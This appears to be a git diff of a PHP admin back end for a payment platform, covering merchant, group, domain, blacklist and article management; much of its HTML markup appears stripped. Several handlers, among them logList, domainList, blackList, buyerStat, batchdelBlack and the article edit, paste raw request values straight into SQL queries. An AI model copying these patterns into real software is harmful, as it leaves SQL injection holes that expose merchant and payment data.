$rs=$DB->query("SELECT uid,type,channel,money,realmoney,getmoney,profitmoney from pre_order where status=1 and date>='$startday' and date<='$endday'"); + while($row = $rs->fetch()) + { + if($type == 3){ + $money = (float)$row['profitmoney']; + }elseif($type == 2){ + $money = (float)$row['getmoney']; + }elseif($type == 1){ + $money = (float)$row['realmoney']; + }else{ + $money = (float)$row['money']; + } + if(!array_key_exists($row['uid'], $data)) $data[$row['uid']] = ['uid'=>$row['uid'], 'total'=>0]; + $data[$row['uid']]['total'] += $money; + if($method == 'type'){ + $ukey = 'type_'.$row['type']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + }else{ + $ukey = 'channel_'.$row['channel']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + if(!in_array($ukey, $columns)) $columns[$ukey] = $channel[$row['channel']]; + } + } + } + ksort($data); + //计算总计 + $total = ['uid'=>'总计']; + foreach($data as $row){ + foreach($row as $key=>$val){ + if($key=='uid')continue; + if(!array_key_exists($key, $total)) $total[$key] = $val; + else $total[$key] += $val; + } + } + array_unshift($data, $total); + $list = []; + foreach($data as $row){ + $list[] = $row; + } + exit(json_encode(['code'=>0, 'columns'=>$columns, 'data'=>$list])); +break; + +case 'userTransferStat': + $startday = trim($_POST['startday']); + $endday = trim($_POST['endday']); + $method = trim($_POST['method']); + if(!$startday || !$endday)exit(json_encode(['code'=>0, 'msg'=>'no day'])); + $data = []; + $columns = ['uid'=>'商户ID', 'total'=>'总计']; + + if($method == 'type'){ + $paytype = []; + $rs = $DB->getAll("SELECT id,name,showname FROM pre_type WHERE status=1"); + foreach($rs as $row){ + $paytype[$row['name']] = $row['showname']; + $columns['type_'.$row['name']] = $row['showname']; + } + unset($rs); + }else{ + $channel = []; + $rs = $DB->getAll("SELECT id,name FROM pre_channel WHERE status=1"); + foreach($rs as $row){ + $channel[$row['id']] = $row['name']; + } + unset($rs); + } + + $rs=$DB->query("SELECT uid,type,channel,money from pre_transfer where status=1 and paytime>='$startday' and paytime<='$endday'"); + while($row = $rs->fetch()) + { + $money = (float)$row['money']; + if(!array_key_exists($row['uid'], $data)) $data[$row['uid']] = ['uid'=>$row['uid'], 'total'=>0]; + $data[$row['uid']]['total'] += $money; + if($method == 'type'){ + $ukey = 'type_'.$row['type']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + }else{ + $ukey = 'channel_'.$row['channel']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + if(!in_array($ukey, $columns)) $columns[$ukey] = $channel[$row['channel']]; + } + } + ksort($data); + $list = []; + foreach($data as $row){ + $list[] = $row; + } + exit(json_encode(['code'=>0, 'columns'=>$columns, 'data'=>$list])); +break; + +case 'buyerStat': + $startday = trim($_POST['startday']); + $endday = trim($_POST['endday']); + $method = intval($_POST['method']); + if($method == '2') $column = 'mobile'; + else if($method == '1') $column = 'ip'; + else $column = 'buyer'; + if(!$startday || !$endday)exit(json_encode(['code'=>0, 'msg'=>'no day'])); + $sql = "`date` BETWEEN '{$startday}' AND '{$endday}' AND {$column} is not null AND status>0"; + if(isset($_POST['type']) && !empty($_POST['type'])) { + $type = intval($_POST['type']); + $sql.=" AND `type`='$type'"; + } + $list = $DB->getAll("SELECT A.*,ISNULL(B.id) is_black + FROM (SELECT {$column} `user`,COUNT(*) AS order_count,MAX(trade_no) trade_no + FROM pay_order + WHERE {$sql} + GROUP BY {$column} + ORDER BY order_count DESC) A + LEFT JOIN pay_blacklist B ON A.`user`=B.content"); + exit(json_encode($list)); +break; + +case 'logList': + $sql=" 1=1"; + if(isset($_POST['value']) && $_POST['value']!=='') { + $sql.=" AND `{$_POST['column']}`='{$_POST['value']}'"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_log WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_log WHERE{$sql} order by id desc limit $offset,$limit"); + + exit(json_encode(['total'=>$total, 'rows'=>$list])); +break; + +case 'domainList': + $sql=" 1=1"; + if(isset($_POST['uid']) && !empty($_POST['uid'])) { + $uid = intval($_POST['uid']); + $sql.=" AND `uid`='$uid'"; + } + if(isset($_POST['kw']) && !empty($_POST['kw'])) { + $sql.=" AND `domain`='{$_POST['kw']}'"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND `status`={$dstatus}"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_domain WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_domain WHERE{$sql} order by id desc limit $offset,$limit"); + + exit(json_encode(['total'=>$total, 'rows'=>$list])); +break; + +case 'blackList': + $sql=" 1=1"; + if(isset($_POST['kw']) && !empty($_POST['kw'])) { + $sql.=" AND `content`='{$_POST['kw']}'"; + } + if(isset($_POST['type']) && $_POST['type']>-1) { + $type = intval($_POST['type']); + $sql.=" AND `type`={$type}"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_blacklist WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_blacklist WHERE{$sql} order by id desc limit $offset,$limit"); + + exit(json_encode(['total'=>$total, 'rows'=>$list])); +break; + +case 'getGroup': //用户组 + $gid=intval($_GET['gid']); + $row=$DB->getRow("select * from pre_group where gid='$gid' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前用户组不存在!"}'); + $result = ['code'=>0,'msg'=>'succ','gid'=>$gid,'name'=>$row['name'],'info'=>json_decode($row['info'],true),'config'=>$row['config']?json_decode($row['config'],true):[],'settings'=>$row['settings']]; + exit(json_encode($result)); +break; +case 'delGroup': + $gid=intval($_GET['gid']); + $row=$DB->getRow("select * from pre_group where gid='$gid' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前用户组不存在!"}'); + $sql = "DELETE FROM pre_group WHERE gid='$gid'"; + if($DB->exec($sql)){ + $DB->exec("UPDATE pre_user SET gid=0 WHERE gid='$gid'"); + exit('{"code":0,"msg":"删除用户组成功!"}'); + } + else exit('{"code":-1,"msg":"删除用户组失败['.$DB->error().']"}'); +break; +case 'saveGroup': + if($_POST['action'] == 'add'){ + $name=trim($_POST['name']); + $row=$DB->getRow("select * from pre_group where name='$name' limit 1"); + if($row) + exit('{"code":-1,"msg":"用户组名称重复"}'); + $info=json_encode($_POST['info']); + $config=json_encode($_POST['config']); + $settings=trim($_POST['settings']); + if($settings && !checkGroupSettings($settings))exit('{"code":-1,"msg":"用户变量格式不正确"}'); + $data = ['name'=>$name, 'info'=>$info, 'config'=>$config, 'settings'=>$settings]; + if($DB->insert('group', $data))exit('{"code":0,"msg":"新增用户组成功!"}'); + else exit('{"code":-1,"msg":"新增用户组失败['.$DB->error().']"}'); + }elseif($_POST['action'] == 'changebuy'){ + $gid=intval($_POST['gid']); + $status=intval($_POST['status']); + if($DB->update('group',['isbuy'=>$status],['gid'=>$gid]))exit('{"code":0,"msg":"修改上架状态成功!"}'); + else exit('{"code":-1,"msg":"修改上架状态失败['.$DB->error().']"}'); + }else{ + $gid=intval($_POST['gid']); + $name=trim($_POST['name']); + $row=$DB->getRow("select * from pre_group where name='$name' and gid<>$gid limit 1"); + if($row) + exit('{"code":-1,"msg":"用户组名称重复"}'); + $info=json_encode($_POST['info']); + $config=json_encode($_POST['config']); + $settings=trim($_POST['settings']); + if($settings && !checkGroupSettings($settings))exit('{"code":-1,"msg":"用户变量格式不正确"}'); + $data = ['name'=>$name, 'info'=>$info, 'config'=>$config, 'settings'=>$settings]; + if($DB->update('group', $data, ['gid'=>$gid])!==false)exit('{"code":0,"msg":"修改用户组成功!"}'); + else exit('{"code":-1,"msg":"修改用户组失败['.$DB->error().']"}'); + } +break; +case 'saveGroupPrice': + $prices = $_POST['price']; + $expires = $_POST['expire']; + $sorts = $_POST['sort']; + $visibles = $_POST['visible']; + foreach($prices as $gid=>$item){ + $price = trim($item); + $expire = intval($expires[$gid]); + $sort = trim($sorts[$gid]); + $visible = str_replace(',',',',trim($visibles[$gid])); + if(!is_numeric($price)||$price<0)exit('{"code":-1,"msg":"GID:'.$gid.'的售价填写错误"}'); + $DB->update('group', ['price'=>$price, 'expire'=>$expire, 'sort'=>$sort, 'visible'=>$visible], ['gid'=>$gid]); + } + exit('{"code":0,"msg":"保存成功!"}'); +break; + +case 'addUser': + $key = random(32); + $data = [ + 'gid' => intval($_POST['gid']), + 'key' => $key, + 'settle_id' => intval($_POST['settle_id']), + 'account' => trim($_POST['account']), + 'username' => trim($_POST['username']), + 'money' => '0.00', + 'url' => trim($_POST['url']), + 'email' => trim($_POST['email']), + 'qq' => trim($_POST['qq']), + 'phone' => trim($_POST['phone']), + 'mode' => intval($_POST['mode']), + 'cert' => 0, + 'pay' => intval($_POST['pay']), + 'settle' => intval($_POST['settle']), + 'status' => intval($_POST['status']), + 'addtime' => 'NOW()', + ]; + + if(empty($data['phone']) && empty($data['email'])) exit('{"code":-1,"msg":"手机号和邮箱不能都为空"}'); + + if(!empty($data['phone'])){ + if($DB->find('user','*',['phone'=>$data['phone']])) exit('{"code":-1,"msg":"手机号已存在!"}'); + } + if(!empty($data['email'])){ + if($DB->find('user','*',['email'=>$data['email']])) exit('{"code":-1,"msg":"邮箱已存在!"}'); + } + + $uid = $DB->insert('user', $data); + if($uid!==false){ + if(!empty($_POST['pwd'])){ + $pwd = getMd5Pwd(trim($_POST['pwd']), $uid); + $DB->update('user', ['pwd'=>$pwd], ['uid'=>$uid]); + } + exit(json_encode(['code'=>0, 'uid'=>$uid, 'key'=>$key])); + }else{ + exit('{"code":-1,"msg":"添加商户失败!'.$DB->error().'"}'); + } +break; +case 'editUser': + $uid=intval($_GET['uid']); + $rows=$DB->getRow("select * from pre_user where uid='$uid' limit 1"); + if(!$rows) exit('{"code":-1,"msg":"当前商户不存在!"}'); + $data = [ + 'gid' => intval($_POST['gid']), + 'upid' => intval($_POST['upid']), + 'settle_id' => intval($_POST['settle_id']), + 'account' => trim($_POST['account']), + 'username' => trim($_POST['username']), + 'money' => trim($_POST['money']), + 'url' => trim($_POST['url']), + 'email' => trim($_POST['email']), + 'qq' => trim($_POST['qq']), + 'phone' => trim($_POST['phone']), + 'cert' => intval($_POST['cert']), + 'certtype' => intval($_POST['certtype']), + 'certmethod' => intval($_POST['certmethod']), + 'certno' => trim($_POST['certno']), + 'certname' => trim($_POST['certname']), + 'certcorpno' => trim($_POST['certcorpno']), + 'certcorpname' => trim($_POST['certcorpname']), + 'ordername' => trim($_POST['ordername']), + 'mode' => intval($_POST['mode']), + 'pay' => intval($_POST['pay']), + 'settle' => intval($_POST['settle']), + 'status' => intval($_POST['status']), + 'open_code' => intval($_POST['open_code']), + 'remain_money' => !empty($_POST['remain_money']) ? trim($_POST['remain_money']) : null, + 'deposit' => !empty($_POST['deposit']) ? trim($_POST['deposit']) : null, + ]; + + if($DB->update('user', $data, ['uid'=>$uid])!==false){ + if(!empty($_POST['pwd'])){ + $pwd = getMd5Pwd(trim($_POST['pwd']), $uid); + $DB->update('user', ['pwd'=>$pwd], ['uid'=>$uid]); + } + exit('{"code":0}'); + }else{ + exit('{"code":-1,"msg":"修改商户信息失败!'.$DB->error().'"}'); + } +break; +case 'edit_keytype': + $uid=intval($_POST['uid']); + $keytype=intval($_POST['keytype']); + $sqs = $DB->update('user', ['keytype'=>$keytype], ['uid'=>$uid]); + if($sqs!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'resetKey': + $uid=intval($_POST['uid']); + $key = random(32); + $sql = "UPDATE pre_user SET `key`='$key' WHERE uid='$uid'"; + if($DB->exec($sql)!==false)exit('{"code":0,"msg":"重置密钥成功","key":"'.$key.'"}'); + else exit('{"code":-1,"msg":"重置密钥失败['.$DB->error().']"}'); +break; +case 'createRsaPair': + $uid=intval($_POST['uid']); + $keypair = generate_key_pair(); + $DB->update('user', ['publickey'=>$keypair['public_key']], ['uid'=>$uid]); + exit(json_encode(['code'=>0, 'msg'=>'succ', 'public_key'=>$keypair['public_key'], 'private_key'=>$keypair['private_key']])); +break; +case 'editUserChannelInfo': + $uid=intval($_GET['uid']); + $rows=$DB->getRow("select * from pre_user where uid='$uid' limit 1"); + if(!$rows) exit('{"code":-1,"msg":"当前商户不存在!"}'); + $setting=$_POST['setting']; + $channelinfo = json_encode($setting); + if($DB->update('user', ['channelinfo'=>$channelinfo], ['uid'=>$uid])!==false){ + exit('{"code":0}'); + }else{ + exit('{"code":-1,"msg":"修改商户信息失败!'.$DB->error().'"}'); + } +break; +case 'delUser': + $uid=intval($_GET['uid']); + if($DB->exec("DELETE FROM pre_user WHERE uid='$uid'")){ + $DB->exec("DELETE FROM pre_subchannel WHERE uid='$uid'"); + exit('{"code":0}'); + }else{ + exit('{"code":-1,"msg":"删除商户失败!'.$DB->error().'"}'); + } +break; +case 'setUser': + $uid=intval($_POST['uid']); + $type=trim($_POST['type']); + $status=intval($_POST['status']); + if($type=='pay')$sql = "UPDATE pre_user SET pay='$status' WHERE uid='$uid'"; + elseif($type=='settle')$sql = "UPDATE pre_user SET settle='$status' WHERE uid='$uid'"; + elseif($type=='group')$sql = "UPDATE pre_user SET gid='$status' WHERE uid='$uid'"; + else $sql = "UPDATE pre_user SET status='$status' WHERE uid='$uid'"; + if($DB->exec($sql)!==false)exit('{"code":0,"msg":"修改用户成功!"}'); + else exit('{"code":-1,"msg":"修改用户失败['.$DB->error().']"}'); +break; +case 'setUserGroup': + $uid=intval($_POST['uid']); + $gid=intval($_POST['gid']); + $endtime=trim($_POST['endtime']); + if(changeUserGroup($uid, $gid, $endtime)!==false)exit('{"code":0,"msg":"修改用户成功!"}'); + else exit('{"code":-1,"msg":"修改用户失败['.$DB->error().']"}'); +break; +case 'resetUser': + $uid=intval($_GET['uid']); + $key = random(32); + $sql = "UPDATE pre_user SET `key`='$key' WHERE uid='$uid'"; + if($DB->exec($sql)!==false)exit('{"code":0,"msg":"重置密钥成功","key":"'.$key.'"}'); + else exit('{"code":-1,"msg":"重置密钥失败['.$DB->error().']"}'); +break; +case 'user_settle_info': + $uid=intval($_GET['uid']); + $rows=$DB->getRow("select * from pre_user where uid='$uid' limit 1"); + if(!$rows) + exit('{"code":-1,"msg":"当前用户不存在!"}'); + $data = '
结算方式
'; + $data .= '
结算账号
'; + $data .= '
真实姓名
'; + $data .= ''; + $result=array("code"=>0,"msg"=>"succ","data"=>$data,"pay_type"=>$rows['settle_id']); + exit(json_encode($result)); +break; +case 'user_settle_save': + $uid=intval($_POST['uid']); + $pay_type=trim(daddslashes($_POST['pay_type'])); + $pay_account=trim(daddslashes($_POST['pay_account'])); + $pay_name=trim(daddslashes($_POST['pay_name'])); + $sds=$DB->exec("update `pre_user` set `settle_id`='$pay_type',`account`='$pay_account',`username`='$pay_name' where `uid`='$uid'"); + if($sds!==false) + exit('{"code":0,"msg":"修改记录成功!"}'); + else + exit('{"code":-1,"msg":"修改记录失败!'.$DB->error().'"}'); +break; +case 'user_cert': + $uid=intval($_GET['uid']); + $rows=$DB->getRow("select cert,certtype,certmethod,certno,certname,certcorpno,certcorpname,certtime from pre_user where uid='$uid' limit 1"); + if(!$rows) + exit('{"code":-1,"msg":"当前用户不存在!"}'); + $rows['certmethodname'] = show_cert_method($rows['certmethod']); + $result = ['code'=>0,'msg'=>'succ','uid'=>$uid,'data'=>$rows]; + exit(json_encode($result)); +break; +case 'recharge': + $uid=intval($_POST['uid']); + $do=$_POST['actdo']; + $rmb=floatval($_POST['rmb']); + $row=$DB->getRow("select uid,money from pre_user where uid='$uid' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前用户不存在!"}'); + if($do==1 && $rmb>$row['money'])$rmb=$row['money']; + if($do==0){ + changeUserMoney($uid, $rmb, true, '后台加款'); + }else{ + changeUserMoney($uid, $rmb, false, '后台扣款'); + } + exit('{"code":0,"msg":"succ"}'); +break; + +case 'addDomain': + $uid=intval($_POST['uid']); + $domain = trim(daddslashes($_POST['domain'])); + if(empty($domain))exit('{"code":-1,"msg":"域名不能为空"}'); + if(!checkDomain($domain))exit('{"code":-1,"msg":"域名格式不正确"}'); + $row=$DB->getRow("select uid from pre_user where uid='$uid' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前用户不存在!"}'); + if($DB->getRow("select * from pre_domain where uid=:uid and domain=:domain limit 1", [':uid'=>$uid, ':domain'=>$domain])) + exit('{"code":-1,"msg":"该域名已存在,请勿重复添加"}'); + if(!$DB->exec("INSERT INTO `pre_domain` (`uid`,`domain`,`status`,`addtime`,`endtime`) VALUES (:uid, :domain, 1, NOW(), NOW())", [':uid'=>$uid, ':domain'=>$domain]))exit('{"code":-1,"msg":"添加失败'.$DB->error().'"}'); + exit(json_encode(['code'=>0, 'msg'=>'添加域名成功!'])); +break; +case 'setDomainStatus': + $id=intval($_POST['id']); + $status=intval($_POST['status']); + if($DB->exec("UPDATE pre_domain SET status='$status',endtime=NOW() WHERE id='$id'")!==false)exit('{"code":0,"msg":"succ"}'); + else exit('{"code":-1,"msg":"修改失败['.$DB->error().']"}'); +break; +case 'delDomain': + $id=intval($_POST['id']); + if($DB->exec("DELETE FROM pre_domain WHERE id='$id'")!==false)exit('{"code":0,"msg":"succ"}'); + else exit('{"code":-1,"msg":"删除失败['.$DB->error().']"}'); +break; +case 'domain_operation': + $status=is_numeric($_POST['status'])?intval($_POST['status']):exit('{"code":-1,"msg":"请选择操作"}'); + $checkbox=$_POST['checkbox']; + $i=0; + foreach($checkbox as $id){ + if($status==3)$DB->exec("DELETE FROM pre_domain WHERE id='$id'"); + else $DB->exec("UPDATE pre_domain SET status='$status',endtime=NOW() WHERE id='$id'"); + $i++; + } + exit('{"code":0,"msg":"成功改变'.$i.'个记录状态"}'); +break; + +case 'getChannels': + $typeid = intval($_GET['typeid']); + $type=$DB->getColumn("SELECT name FROM pre_type WHERE id='$typeid'"); + if(!$type) + exit('{"code":-1,"msg":"当前支付方式不存在!"}'); + $list=$DB->getAll("SELECT id,name FROM pre_channel WHERE `type`='$typeid' AND status=1 ORDER BY id ASC"); + if($list){ + $result = ['code'=>0,'msg'=>'succ','data'=>$list]; + exit(json_encode($result)); + } + else exit('{"code":-1,"msg":"该支付方式下没有可用的支付通道"}'); +break; +case 'getSubChannel': + $id=intval($_GET['id']); + $row=$DB->getRow("SELECT A.*,B.type FROM pre_subchannel A LEFT JOIN pre_channel B ON A.channel=B.id WHERE A.id='$id'"); + if(!$row) + exit('{"code":-1,"msg":"当前子通道不存在!"}'); + $result = ['code'=>0,'msg'=>'succ','data'=>$row]; + exit(json_encode($result)); +break; +case 'setSubChannel': + $id=intval($_GET['id']); + $status=intval($_GET['status']); + $row=$DB->getRow("SELECT * FROM pre_subchannel WHERE id='$id'"); + if(!$row) + exit('{"code":-1,"msg":"当前子通道不存在!"}'); + $sql = "UPDATE pre_subchannel SET status='$status' WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"修改子通道成功!"}'); + else exit('{"code":-1,"msg":"修改子通道失败['.$DB->error().']"}'); +break; +case 'delSubChannel': + $id=intval($_GET['id']); + $row=$DB->getRow("SELECT * FROM pre_subchannel WHERE id='$id'"); + if(!$row) + exit('{"code":-1,"msg":"当前子通道不存在!"}'); + $sql = "DELETE FROM pre_subchannel WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"删除子通道成功!"}'); + else exit('{"code":-1,"msg":"删除子通道失败['.$DB->error().']"}'); +break; +case 'saveSubChannel': + if($_POST['action'] == 'add'){ + $uid=intval($_POST['uid']); + $name=trim($_POST['name']); + $type=intval($_POST['type']); + $channel=intval($_POST['channel']); + $row=$DB->getRow("SELECT * FROM pre_subchannel WHERE name='$name' AND uid='$uid' LIMIT 1"); + if($row) + exit('{"code":-1,"msg":"子通道备注重复"}'); + $data = ['channel'=>$channel, 'uid'=>$uid, 'name'=>$name, 'addtime'=>'NOW()', 'usetime'=>'NOW()']; + if($DB->insert('subchannel', $data))exit('{"code":0,"msg":"新增子通道成功!"}'); + else exit('{"code":-1,"msg":"新增子通道失败['.$DB->error().']"}'); + }else{ + $id=intval($_POST['id']); + $row=$DB->getRow("SELECT * FROM pre_subchannel WHERE id='$id'"); + if(!$row) exit('{"code":-1,"msg":"当前子通道不存在!"}'); + $uid=intval($_POST['uid']); + $name=trim($_POST['name']); + $type=intval($_POST['type']); + $channel=intval($_POST['channel']); + $nrow=$DB->getRow("SELECT * FROM pre_subchannel WHERE name='$name' AND uid='$uid' AND id<>$id LIMIT 1"); + if($nrow) + exit('{"code":-1,"msg":"子通道名称重复"}'); + $data = ['channel'=>$channel, 'name'=>$name]; + if($DB->update('subchannel', $data, ['id'=>$id])!==false){ + exit('{"code":0,"msg":"修改子通道成功!"}'); + }else exit('{"code":-1,"msg":"修改子通道失败['.$DB->error().']"}'); + } +break; +case 'subChannelInfo': + $id=intval($_GET['id']); + $subrow=$DB->getRow("SELECT * FROM pre_subchannel WHERE id='$id'"); + if(!$subrow) + exit('{"code":-1,"msg":"当前子通道不存在!"}'); + $row=$DB->getRow("SELECT * FROM pre_channel WHERE id='{$subrow['channel']}'"); + if(!$row) + exit('{"code":-1,"msg":"当前子通道对应支付通道不存在!"}'); + $typename = $DB->getColumn("SELECT name FROM pre_type WHERE id='{$row['type']}'"); + $plugin = \lib\Plugin::getConfig($row['plugin']); + if(!$plugin) + exit('{"code":-1,"msg":"当前支付插件不存在!"}'); + + $info = json_decode($subrow['info'], true); + $config = json_decode($row['config'],true); + $data = ''; + $result=array("code"=>0,"msg"=>"succ","data"=>$data); + exit(json_encode($result)); +break; +case 'saveSubChannelInfo': + $id=intval($_GET['id']); + $info=$_POST['info']; + $info = $info ? json_encode($info) : null; + if($DB->update('subchannel', ['info'=>$info], ['id'=>$id])!==false)exit('{"code":0,"msg":"修改自定义支付参数成功!"}'); + else exit('{"code":-1,"msg":"修改自定义支付参数失败['.$DB->error().']"}'); +break; + +case 'addBlack': + $type=intval($_POST['type']); + $content = trim($_POST['content']); + $days=intval($_POST['days']); + $remark = trim($_POST['remark']); + if(empty($content))exit('{"code":-1,"msg":"拉黑内容不能为空"}'); + if($DB->getRow("select * from pre_blacklist where type=:type and content=:content limit 1", [':type'=>$type, ':content'=>$content])) + exit('{"code":-1,"msg":"该黑名单记录已存在,请勿重复添加"}'); + $endtime = $days > 0 ? date('Y-m-d H:i:s', strtotime('+'.$days.' days')) : null; + $data = ['type'=>$type, 'content'=>$content, 'addtime'=>'NOW()', 'endtime'=>$endtime, 'remark'=>$remark]; + if($DB->insert('blacklist', $data))exit(json_encode(['code'=>0, 'msg'=>'添加黑名单成功!'])); + else exit('{"code":-1,"msg":"添加失败'.$DB->error().'"}'); +break; +case 'delBlack': + $id=intval($_POST['id']); + if($DB->exec("DELETE FROM pre_blacklist WHERE id='$id'")!==false)exit('{"code":0,"msg":"succ"}'); + else exit('{"code":-1,"msg":"删除失败['.$DB->error().']"}'); +break; +case 'batchdelBlack': + $checkbox=$_POST['checkbox']; + $i = 0; + if(!empty($checkbox)){ + $i = $DB->exec("DELETE FROM pre_blacklist WHERE id IN (".implode(',',$checkbox).")"); + } + exit('{"code":0,"msg":"成功删除了'.$i.'个黑名单"}'); +break; + +case 'delRecord': + $id=intval($_GET['id']); + if($DB->exec("DELETE FROM pre_record WHERE id='$id'")!==false)exit('{"code":0,"msg":"succ"}'); + else exit('{"code":-1,"msg":"删除失败['.$DB->error().']"}'); +break; + +case 'checkuid': + $uid=intval($_GET['uid']); + $row=$DB->getRow("select * from pre_user where uid='$uid' limit 1"); + if($row) + exit('{"code":0,"msg":"succ"}'); + else + exit('{"code":-1,"msg":"当前商户ID不存在"}'); +break; + +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/admin/article.php b/admin/article.php new file mode 100644 index 0000000..e16cea3 --- /dev/null +++ b/admin/article.php @@ -0,0 +1,225 @@ +window.location.href='./login.php';"); +?> +
+
+ +
+

添加文章

+
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
" class="form-control"/>
+
+
+

+
+
+
+
>>返回文章列表 +
+
+ + + +getRow("select * from pre_article where id='$id' limit 1"); +?> +
+

编辑文章

+
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
" class="form-control"/>
+
+
+

+
+
+
+
>>返回文章列表 +
+
+ + + + +getRow("select * from pre_article where title='$title' limit 1"); +if($rows) + showmsg('文章标题已存在!',3); +$sql="INSERT INTO `pre_article` (`title`,`content`,`addtime`,`top`,`active`) VALUES (:title, :content, :addtime, :top, :active)"; +$data = [':title'=>$title, ':content'=>$content, ':addtime'=>$addtime, ':top'=>$top, ':active'=>1]; +if($DB->exec($sql, $data)){ + showmsg('添加文章成功!

>>返回文章列表',1); +}else + showmsg('添加文章失败!'.$DB->error(),4); +} +} +elseif($my=='edit_submit') +{ +if(!checkRefererHost())exit(); +$id=$_GET['id']; +$rows=$DB->getRow("select * from pre_article where id='$id' limit 1"); +if(!$rows) + showmsg('当前记录不存在!',3); +$title=trim($_POST['title']); +$content=$_POST['content']; +$top=intval($_POST['top']); +$addtime=$_POST['addtime'].' '.date("H:i:s"); +if($title==NULL or $content==NULL){ +showmsg('保存错误,请确保必填项都不为空!',3); +} else { +$sql = "UPDATE pre_article SET title=:title,content=:content,addtime=:addtime,top=:top WHERE id=:id"; +$data = [':title'=>$title, ':content'=>$content, ':addtime'=>$addtime, ':top'=>$top, ':id'=>$id]; +if($DB->exec($sql, $data)!==false) + showmsg('修改文章成功!

>>返回文章列表',1); +else + showmsg('修改文章失败!'.$DB->error(),4); +} +} +elseif($my=='delete') +{ +if(!checkRefererHost())exit(); +$id=$_GET['id']; +$sql="DELETE FROM pre_article WHERE id=:id"; +if($DB->exec($sql, [':id'=>$id])) + showmsg('删除成功!

>>返回文章列表',1); +else + showmsg('删除失败!'.$DB->error(),4); +} +else +{ + +if(isset($_GET['kw'])){ + $kw = trim(daddslashes($_GET['kw'])); + $sql=" title LIKE '%$kw%'"; + $numrows=$DB->getColumn("SELECT count(*) from pre_article where{$sql}"); + $link='&kw='.$kw; +}else{ + $sql=" 1"; + $numrows=$DB->getColumn("SELECT count(*) from pre_article"); +} +?> +
+

系统共有 篇文章

+
+  添加文章 +
+ +
+ +
+
+ + + +query("SELECT * FROM pre_article WHERE{$sql} order by id desc limit $offset,$pagesize"); +while($res = $rs->fetch()) +{ +echo ''; +} +?> + +
ID文章标题发布时间浏览量状态操作
'.$res['id'].''.($res['top']?'[置顶]':null).$res['title'].''.$res['addtime'].''.$res['count'].''.($res['active']==1?'显示':'隐藏').'查看 编辑 删除
+
+'; +$first=1; +$prev=$page-1; +$next=$page+1; +$last=$pages; +if ($page>1) +{ +echo '
  • 首页
  • '; +echo '
  • «
  • '; +} else { +echo '
  • 首页
  • '; +echo '
  • «
  • '; +} +$start=$page-10>1?$page-10:1; +$end=$page+10<$pages?$page+10:$pages; +for ($i=$start;$i<$page;$i++) +echo '
  • '.$i .'
  • '; +echo '
  • '.$page.'
  • '; +for ($i=$page+1;$i<=$end;$i++) +echo '
  • '.$i .'
  • '; +if ($page<$pages) +{ +echo '
  • »
  • '; +echo '
  • 尾页
  • '; +} else { +echo '
  • »
  • '; +echo '
  • 尾页
  • '; +} +echo''; +#分页 +?> + +
    +
    +
    + + + + \ No newline at end of file diff --git a/admin/blacklist.php b/admin/blacklist.php new file mode 100644 index 0000000..ff79d6e --- /dev/null +++ b/admin/blacklist.php @@ -0,0 +1,215 @@ +window.location.href='./login.php';"); +?> +
    +
    +
    +
    + + +
    +
    + +
    + + 添加 + +
    + + +
    + +
    + + +
    +
    +
    + + + + + \ No newline at end of file diff --git a/admin/clean.php b/admin/clean.php new file mode 100644 index 0000000..d15bd1e --- /dev/null +++ b/admin/clean.php @@ -0,0 +1,93 @@ +window.location.href='./login.php';"); +?> +
    +
    +clear(); +if(function_exists("opcache_reset"))@opcache_reset(); +showmsg('清理系统设置缓存成功!',1); +}elseif($mod=='cleanorder'){ +$DB->exec("DELETE FROM `pre_order` WHERE addtime<'".date("Y-m-d H:i:s",strtotime("-30 days"))."'"); +$DB->exec("OPTIMIZE TABLE `pre_order`"); +showmsg('删除30天前订单记录成功!',1); +}elseif($mod=='cleansettle'){ +$DB->exec("DELETE FROM `pre_settle` WHERE addtime<'".date("Y-m-d H:i:s",strtotime("-30 days"))."'"); +$DB->exec("OPTIMIZE TABLE `pre_settle`"); +showmsg('删除30天前结算记录成功!',1); +}elseif($mod=='cleanrecord'){ +$DB->exec("DELETE FROM `pre_record` WHERE date<'".date("Y-m-d H:i:s",strtotime("-30 days"))."'"); +$DB->exec("OPTIMIZE TABLE `pre_record`"); +showmsg('删除30天前资金明细成功!',1); +}elseif($mod=='cleanorderi' && $_POST['do']=='submit'){ +$days = intval($_POST['days']); +if($days<=0)showmsg('请确保每项不能为空',3); +$DB->exec("DELETE FROM `pre_order` WHERE addtime<'".date("Y-m-d H:i:s",strtotime("-{$days} days"))."'"); +$DB->exec("OPTIMIZE TABLE `pre_order`"); +showmsg('删除订单记录成功!',1); +}elseif($mod=='cleansettlei' && $_POST['do']=='submit'){ +$days = intval($_POST['days']); +if($days<=0)showmsg('请确保每项不能为空',3); +$DB->exec("DELETE FROM `pre_settle` WHERE addtime<'".date("Y-m-d H:i:s",strtotime("-{$days} 